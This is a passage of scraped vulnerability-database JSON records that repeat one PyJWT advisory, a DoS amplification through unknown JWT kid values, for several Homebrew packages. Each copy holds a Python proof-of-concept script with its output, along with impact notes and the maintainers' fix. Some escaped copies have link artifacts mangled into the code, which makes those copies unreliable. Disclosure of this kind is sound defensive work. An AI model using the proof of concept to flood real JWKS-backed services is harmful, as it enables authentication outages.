2.x version.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
"id": "BREW-semgrep-CVE-2026-101917",
"modified": "2026-10-04T11:26:36Z",
"published": "2026-09-30T19:45:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101917"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)",
"upstream": [
"GHSA-2gx3-rcp4-g85q",
"CVE-2026-101917",
"PYSEC-2026-4140"
]
}
BREW-SIGSTORE-CVE-2026-101917 (GHSA-2GX3-RCP4-G85Q)
Vulnerability from osv_homebrew – Published: 2026-09-30 09:42 – Updated: 2026-10-02 09:46 – Source websiteSummary CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.
At HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.
Affected pyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.
Proof of concept (verified on 2.13.0, cache enabled = realistic prod config) import threading, http.server, socketserver, json from jwt import PyJWKClient hits = {'n': 0} JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): hits['n'] += 1 self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers() self.wfile.write(JWKS) def log_message(self,*a): pass srv = socketserver.TCPServer(('127.0.0.1',0), H); port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() c = PyJWKClient(f'http://127.0.0.1/:{port}/jwks.json', cache_keys=True, lifespan=3600) for i in range(8): try: c.get_signing_key(f'attacker-unknown-kid-{i}') except Exception: pass before = hits['n'] for _ in range(5): try: c.get_signing_key('same-unknown') except Exception: pass print('distinct unknown kids: 8 -> fetches:', hits['n']) print('same unknown kid x5 -> extra fetches:', hits['n'] - before)
Output: distinct unknown kids: 8 -> fetches: 9 same unknown kid x5 -> extra fetches: 5 Each unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.
Impact One unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.
Suggested fix Guard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.
Note: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.
Reported by Babakizo (Securva).
Maintainer update — 2026-09-10
The maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching
enabled, an unknown kid previously forced an unconditional JWKS refresh,
including when the same unknown value was repeated while the cached key set was
still valid. This allowed unauthenticated token headers to cause unnecessary
outbound JWKS requests and repeated parsing work.
The fix is now on master in commit ba4853a. PyJWKClient now applies a
30-second cooldown after successful JWKS fetches before permitting another
unknown-kid refresh, serializes concurrent refresh decisions per client, and
allows callers to configure or disable the cooldown. Cache-disabled behavior
and immediate retry after failed fetches remain unchanged.
Regression tests cover repeated unknown kids, cooldown expiry, concurrent misses, cache-disabled operation, and invalid cooldown values. The available full tox matrix, Ruff, and mypy checks pass. The fix will be included in the next released 2.x version.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.15.1",
"upstream_fixed_in": "2.14.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "sigstore",
"purl": "pkg:brew/sigstore"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.1"
},
{
"fixed": "4.5.0_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.15.1",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.15.1"
}
]
},
"details": "Summary\nCVE-2026-48524 (GHSA-fhv5-28vv-h8m8, \"PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)\") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory\u0027s title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.\n\nAt HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.\n\nAffected\npyjwt \u003c= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.\n\nProof of concept (verified on 2.13.0, cache enabled = realistic prod config)\nimport threading, http.server, socketserver, json\nfrom jwt import PyJWKClient\nhits = {\u0027n\u0027: 0}\nJWKS = json.dumps({\"keys\":[{\"kty\":\"oct\",\"kid\":\"real\",\"k\":\"AAAA\"}]}).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n hits[\u0027n\u0027] += 1\n self.send_response(200); self.send_header(\u0027Content-Type\u0027,\u0027application/json\u0027); self.end_headers()\n self.wfile.write(JWKS)\n def log_message(self,*a): pass\nsrv = socketserver.TCPServer((\u0027[127.0.0.1](https://127.0.0.1/)\u0027,0), H); port = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nc = PyJWKClient(f\u0027http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json\u0027, cache_keys=True, lifespan=3600)\nfor i in range(8):\n try: c.get_signing_key(f\u0027attacker-unknown-kid-{i}\u0027)\n except Exception: pass\nbefore = hits[\u0027n\u0027]\nfor _ in range(5):\n try: c.get_signing_key(\u0027same-unknown\u0027)\n except Exception: pass\nprint(\u0027distinct unknown kids: 8 -\u003e fetches:\u0027, hits[\u0027n\u0027])\nprint(\u0027same unknown kid x5 -\u003e extra fetches:\u0027, hits[\u0027n\u0027] - before)\n\nOutput:\n distinct unknown kids: 8 -\u003e fetches: 9\n same unknown kid x5 -\u003e extra fetches: 5\nEach unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.\n\nImpact\nOne unauthenticated request -\u003e one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -\u003e victim -\u003e IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider\u0027s rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.\n\nSuggested fix\nGuard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.\n\nNote: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.\n\nReported by Babakizo (Securva).\n\n## Maintainer update \u2014 2026-09-10\n\nThe maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching\nenabled, an unknown `kid` previously forced an unconditional JWKS refresh,\nincluding when the same unknown value was repeated while the cached key set was\nstill valid. This allowed unauthenticated token headers to cause unnecessary\noutbound JWKS requests and repeated parsing work.\n\nThe fix is now on `master` in commit `ba4853a`. `PyJWKClient` now applies a\n30-second cooldown after successful JWKS fetches before permitting another\nunknown-`kid` refresh, serializes concurrent refresh decisions per client, and\nallows callers to configure or disable the cooldown. Cache-disabled behavior\nand immediate retry after failed fetches remain unchanged.\n\nRegression tests cover repeated unknown kids, cooldown expiry, concurrent\nmisses, cache-disabled operation, and invalid cooldown values. The available\nfull tox matrix, Ruff, and mypy checks pass. The fix will be included in the\nnext released 2.x version.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
"id": "BREW-sigstore-CVE-2026-101917",
"modified": "2026-10-02T09:46:02Z",
"published": "2026-09-30T09:42:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101917"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)",
"upstream": [
"GHSA-2gx3-rcp4-g85q",
"CVE-2026-101917",
"PYSEC-2026-4140"
]
}
BREW-SNOWFLAKE-CLI-CVE-2… (GHSA-2GX3-RCP4-G85Q)
Vulnerability from osv_homebrew – Published: 2026-09-30 09:56 – Updated: 2026-10-02 09:51 – Source websiteSummary CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.
At HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.
Affected pyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.
Proof of concept (verified on 2.13.0, cache enabled = realistic prod config) import threading, http.server, socketserver, json from jwt import PyJWKClient hits = {'n': 0} JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): hits['n'] += 1 self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers() self.wfile.write(JWKS) def log_message(self,*a): pass srv = socketserver.TCPServer(('127.0.0.1',0), H); port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() c = PyJWKClient(f'http://127.0.0.1/:{port}/jwks.json', cache_keys=True, lifespan=3600) for i in range(8): try: c.get_signing_key(f'attacker-unknown-kid-{i}') except Exception: pass before = hits['n'] for _ in range(5): try: c.get_signing_key('same-unknown') except Exception: pass print('distinct unknown kids: 8 -> fetches:', hits['n']) print('same unknown kid x5 -> extra fetches:', hits['n'] - before)
Output: distinct unknown kids: 8 -> fetches: 9 same unknown kid x5 -> extra fetches: 5 Each unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.
Impact One unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.
Suggested fix Guard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.
Note: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.
Reported by Babakizo (Securva).
Maintainer update — 2026-09-10
The maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching
enabled, an unknown kid previously forced an unconditional JWKS refresh,
including when the same unknown value was repeated while the cached key set was
still valid. This allowed unauthenticated token headers to cause unnecessary
outbound JWKS requests and repeated parsing work.
The fix is now on master in commit ba4853a. PyJWKClient now applies a
30-second cooldown after successful JWKS fetches before permitting another
unknown-kid refresh, serializes concurrent refresh decisions per client, and
allows callers to configure or disable the cooldown. Cache-disabled behavior
and immediate retry after failed fetches remain unchanged.
Regression tests cover repeated unknown kids, cooldown expiry, concurrent misses, cache-disabled operation, and invalid cooldown values. The available full tox matrix, Ruff, and mypy checks pass. The fix will be included in the next released 2.x version.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.15.0",
"upstream_fixed_in": "2.14.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "snowflake-cli",
"purl": "pkg:brew/snowflake-cli"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.1"
},
{
"fixed": "3.28.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.15.0",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.15.0"
}
]
},
"details": "Summary\nCVE-2026-48524 (GHSA-fhv5-28vv-h8m8, \"PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)\") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory\u0027s title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.\n\nAt HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.\n\nAffected\npyjwt \u003c= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.\n\nProof of concept (verified on 2.13.0, cache enabled = realistic prod config)\nimport threading, http.server, socketserver, json\nfrom jwt import PyJWKClient\nhits = {\u0027n\u0027: 0}\nJWKS = json.dumps({\"keys\":[{\"kty\":\"oct\",\"kid\":\"real\",\"k\":\"AAAA\"}]}).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n hits[\u0027n\u0027] += 1\n self.send_response(200); self.send_header(\u0027Content-Type\u0027,\u0027application/json\u0027); self.end_headers()\n self.wfile.write(JWKS)\n def log_message(self,*a): pass\nsrv = socketserver.TCPServer((\u0027[127.0.0.1](https://127.0.0.1/)\u0027,0), H); port = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nc = PyJWKClient(f\u0027http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json\u0027, cache_keys=True, lifespan=3600)\nfor i in range(8):\n try: c.get_signing_key(f\u0027attacker-unknown-kid-{i}\u0027)\n except Exception: pass\nbefore = hits[\u0027n\u0027]\nfor _ in range(5):\n try: c.get_signing_key(\u0027same-unknown\u0027)\n except Exception: pass\nprint(\u0027distinct unknown kids: 8 -\u003e fetches:\u0027, hits[\u0027n\u0027])\nprint(\u0027same unknown kid x5 -\u003e extra fetches:\u0027, hits[\u0027n\u0027] - before)\n\nOutput:\n distinct unknown kids: 8 -\u003e fetches: 9\n same unknown kid x5 -\u003e extra fetches: 5\nEach unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.\n\nImpact\nOne unauthenticated request -\u003e one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -\u003e victim -\u003e IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider\u0027s rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.\n\nSuggested fix\nGuard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.\n\nNote: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.\n\nReported by Babakizo (Securva).\n\n## Maintainer update \u2014 2026-09-10\n\nThe maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching\nenabled, an unknown `kid` previously forced an unconditional JWKS refresh,\nincluding when the same unknown value was repeated while the cached key set was\nstill valid. This allowed unauthenticated token headers to cause unnecessary\noutbound JWKS requests and repeated parsing work.\n\nThe fix is now on `master` in commit `ba4853a`. `PyJWKClient` now applies a\n30-second cooldown after successful JWKS fetches before permitting another\nunknown-`kid` refresh, serializes concurrent refresh decisions per client, and\nallows callers to configure or disable the cooldown. Cache-disabled behavior\nand immediate retry after failed fetches remain unchanged.\n\nRegression tests cover repeated unknown kids, cooldown expiry, concurrent\nmisses, cache-disabled operation, and invalid cooldown values. The available\nfull tox matrix, Ruff, and mypy checks pass. The fix will be included in the\nnext released 2.x version.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
"id": "BREW-snowflake-cli-CVE-2026-101917",
"modified": "2026-10-02T09:51:40Z",
"published": "2026-09-30T09:56:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101917"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)",
"upstream": [
"GHSA-2gx3-rcp4-g85q",
"CVE-2026-101917",
"PYSEC-2026-4140"
]
}
BREW-SNYK-AGENT-SCAN-CVE… (GHSA-2GX3-RCP4-G85Q)
Vulnerability from osv_homebrew – Published: 2026-09-30 09:42 – Updated: 2026-10-02 09:43 – Source websiteSummary CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.
At HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.
Affected pyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.
Proof of concept (verified on 2.13.0, cache enabled = realistic prod config) import threading, http.server, socketserver, json from jwt import PyJWKClient hits = {'n': 0} JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): hits['n'] += 1 self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers() self.wfile.write(JWKS) def log_message(self,*a): pass srv = socketserver.TCPServer(('127.0.0.1',0), H); port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() c = PyJWKClient(f'http://127.0.0.1/:{port}/jwks.json', cache_keys=True, lifespan=3600) for i in range(8): try: c.get_signing_key(f'attacker-unknown-kid-{i}') except Exception: pass before = hits['n'] for _ in range(5): try: c.get_signing_key('same-unknown') except Exception: pass print('distinct unknown kids: 8 -> fetches:', hits['n']) print('same unknown kid x5 -> extra fetches:', hits['n'] - before)
Output: distinct unknown kids: 8 -> fetches: 9 same unknown kid x5 -> extra fetches: 5 Each unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.
Impact One unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.
Suggested fix Guard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.
Note: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.
Reported by Babakizo (Securva).
Maintainer update — 2026-09-10
The maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching
enabled, an unknown kid previously forced an unconditional JWKS refresh,
including when the same unknown value was repeated while the cached key set was
still valid. This allowed unauthenticated token headers to cause unnecessary
outbound JWKS requests and repeated parsing work.
The fix is now on master in commit ba4853a. PyJWKClient now applies a
30-second cooldown after successful JWKS fetches before permitting another
unknown-kid refresh, serializes concurrent refresh decisions per client, and
allows callers to configure or disable the cooldown. Cache-disabled behavior
and immediate retry after failed fetches remain unchanged.
Regression tests cover repeated unknown kids, cooldown expiry, concurrent misses, cache-disabled operation, and invalid cooldown values. The available full tox matrix, Ruff, and mypy checks pass. The fix will be included in the next released 2.x version.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.15.1",
"upstream_fixed_in": "2.14.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "snyk-agent-scan",
"purl": "pkg:brew/snyk-agent-scan"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.3"
},
{
"fixed": "0.6.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.15.1",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.15.1"
}
]
},
"details": "Summary\nCVE-2026-48524 (GHSA-fhv5-28vv-h8m8, \"PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)\") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory\u0027s title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.\n\nAt HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.\n\nAffected\npyjwt \u003c= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.\n\nProof of concept (verified on 2.13.0, cache enabled = realistic prod config)\nimport threading, http.server, socketserver, json\nfrom jwt import PyJWKClient\nhits = {\u0027n\u0027: 0}\nJWKS = json.dumps({\"keys\":[{\"kty\":\"oct\",\"kid\":\"real\",\"k\":\"AAAA\"}]}).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n hits[\u0027n\u0027] += 1\n self.send_response(200); self.send_header(\u0027Content-Type\u0027,\u0027application/json\u0027); self.end_headers()\n self.wfile.write(JWKS)\n def log_message(self,*a): pass\nsrv = socketserver.TCPServer((\u0027[127.0.0.1](https://127.0.0.1/)\u0027,0), H); port = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nc = PyJWKClient(f\u0027http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json\u0027, cache_keys=True, lifespan=3600)\nfor i in range(8):\n try: c.get_signing_key(f\u0027attacker-unknown-kid-{i}\u0027)\n except Exception: pass\nbefore = hits[\u0027n\u0027]\nfor _ in range(5):\n try: c.get_signing_key(\u0027same-unknown\u0027)\n except Exception: pass\nprint(\u0027distinct unknown kids: 8 -\u003e fetches:\u0027, hits[\u0027n\u0027])\nprint(\u0027same unknown kid x5 -\u003e extra fetches:\u0027, hits[\u0027n\u0027] - before)\n\nOutput:\n distinct unknown kids: 8 -\u003e fetches: 9\n same unknown kid x5 -\u003e extra fetches: 5\nEach unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.\n\nImpact\nOne unauthenticated request -\u003e one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -\u003e victim -\u003e IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider\u0027s rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.\n\nSuggested fix\nGuard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.\n\nNote: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.\n\nReported by Babakizo (Securva).\n\n## Maintainer update \u2014 2026-09-10\n\nThe maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching\nenabled, an unknown `kid` previously forced an unconditional JWKS refresh,\nincluding when the same unknown value was repeated while the cached key set was\nstill valid. This allowed unauthenticated token headers to cause unnecessary\noutbound JWKS requests and repeated parsing work.\n\nThe fix is now on `master` in commit `ba4853a`. `PyJWKClient` now applies a\n30-second cooldown after successful JWKS fetches before permitting another\nunknown-`kid` refresh, serializes concurrent refresh decisions per client, and\nallows callers to configure or disable the cooldown. Cache-disabled behavior\nand immediate retry after failed fetches remain unchanged.\n\nRegression tests cover repeated unknown kids, cooldown expiry, concurrent\nmisses, cache-disabled operation, and invalid cooldown values. The available\nfull tox matrix, Ruff, and mypy checks pass. The fix will be included in the\nnext released 2.x version.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
"id": "BREW-snyk-agent-scan-CVE-2026-101917",
"modified": "2026-10-02T09:43:02Z",
"published": "2026-09-30T09:42:19Z",
"references": [
{
"type": "WEB",
